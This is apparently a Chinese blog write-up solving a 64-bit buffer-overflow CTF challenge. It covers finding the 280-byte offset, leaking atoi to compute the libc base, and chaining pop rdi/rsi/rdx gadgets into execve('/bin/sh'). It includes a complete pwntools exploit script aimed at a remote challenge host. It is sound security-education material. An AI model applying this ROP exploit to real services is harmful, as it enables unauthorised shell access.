zoukankan      html  css  js  c++  java
  • 64位的简单pwn

    环境:kali,python3

    程序没有开启随机化

    没有canary保护

    启动了NX

    IDA:

    运行程序,先输入1200,然后给出函数地址,再次输入内容。

    思路:

    函数地址在IDA反汇编可以看出来,是atoi函数的地址,是got表中的地址。也就是函数运行过程中,在内存中atoi的函数地址。

    看代码可以看出read这里有洞。可以利用缓冲区溢出覆盖返回地址。

    (32位的缓冲区溢出可以参考一下https://www.cnblogs.com/gudygudy/p/8093921.html,里面的栈结构中函数的参数传递方式变化了,可以暂时忽略返回地址上的参数区)

    需要注意的是,64位的函数调用参数前6个是放在寄存器的,分别是rdi,rsi,rdx,rcx等。这里面最多用前三个。

    题目还给出了libc库,据此可以定位libc在程序运行时加载到内存中时的基址。

    有基址后想调用什么函数都可以偏移过去。调用system("/bin/sh")就拿到shell了。这个题目用system服务器没成功,,本地成功了;用execve("/bin/sh",0,null)两边都可以成功。

    首先确定需要放多少个填充才能到返回地址。

    使用kali自带的工具生成长度290的填充字符,gdb打开程序,输入该字符串。

     发生段错误

     查看rsp的值,rsp这时候放的就是返回地址,但是这个地址是有误的所以报错。

    利用kali中工具查询这个串偏移量。

     

    结果是280。

    填充块大小知道了,返回地址可以通过libc偏移计算,参数传递如何实现?

    32位机直接在栈上覆盖,64位需要借助汇编语句实现参数传递。这几条汇编语句称为gadget。是在程序中寻找的合适的,也可以在libc库中找。

    libc中汇编代码丰富些,所以我在libc中找的。所以利用时还要记得加上计算的libc基址。

    查汇编指令使用的是ROPgadget

     如图,分别找到

    pop rdx;ret

    pop rsi;ret

    pop rdi;ret

    对应的地址。

     1 #pwn1 求解
     2 from pwn import *
     3 
     4 context.log_level = "debug"
     5 context.arch = "i386"
     6 context.terminal = ["tmux","splitw","-h"]
     7 
     8 def debug():  #该方法会在程序未结束时打开gdb对程序进行调试,在debug后就进入了交互模式
     9     pwnlib.gdb.attach(p)
    10     pause()
    11 
    12 p = process("./pwn1")
    13 p = remote('124.16.75.117',51005)
    14 libc = ELF("./libc.so.6")
    15 #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    16 
    17 offset = 280
    18 p.send('1200')
    19 
    20 recvw = p.recv(31).decode()
    21 recvw = recvw[-13:-1]
    22 recvw = '0x' + recvw
    23 
    24 atoi_addr = (eval(recvw))
    25 print("atoi addr:" + hex(atoi_addr))
    26 
    27 libc_base_addr = atoi_addr - libc.symbols["atoi"]
    28 
    29 execve_addr = libc.symbols["execve"] + libc_base_addr
    30 binsh_addr = next(libc.search("/bin/sh".encode())) + libc_base_addr
    31  
    32 pop_rdi_ret_addr = 0x215bf + libc_base_addr
    33 pop_rsi_ret_addr = 0x23eea + libc_base_addr
    34 pop_rdx_ret_addr = 0x1b96 + libc_base_addr
    35 
    36 payload = 'a' * offset
    37 #debug()
    下面这条语句依次:填充,调用pop rdi;ret把第一个参数binsh_addr放到寄存器rdi中,第二个参数放到rsi中,第三个参数放到rdx中,调用execve函数
    38 payload = flat([payload,p64(pop_rdi_ret_addr),p64(binsh_addr),p64(pop_rsi_ret_addr),"x00"*8,p64(pop_rdx_ret_addr),"x00"*8,p64(execve_addr)]) 39 40 p.sendline(payload) 41 42 p.interactive()
  • 相关阅读:
    在 springboot 中如何整合 shiro 应用 ?
    HTTP协议入门基础
    Git进阶--你可能不知道的很好用Git功能
    CentOS Linux最常用命令及快捷键整理
    Linux 下的 Docker 安装与使用
    Linux下强大的查找命令find 用法和常见用例
    如何使用find命令在Linux中查找文件
    Linux常用基础命令整理:关机命令、查看目录下文件命令等
    linux 时间同步的2种方法
    什么是跨域?
  • 原文地址:https://www.cnblogs.com/gudygudy/p/14674024.html
Copyright © 2011-2022 走看看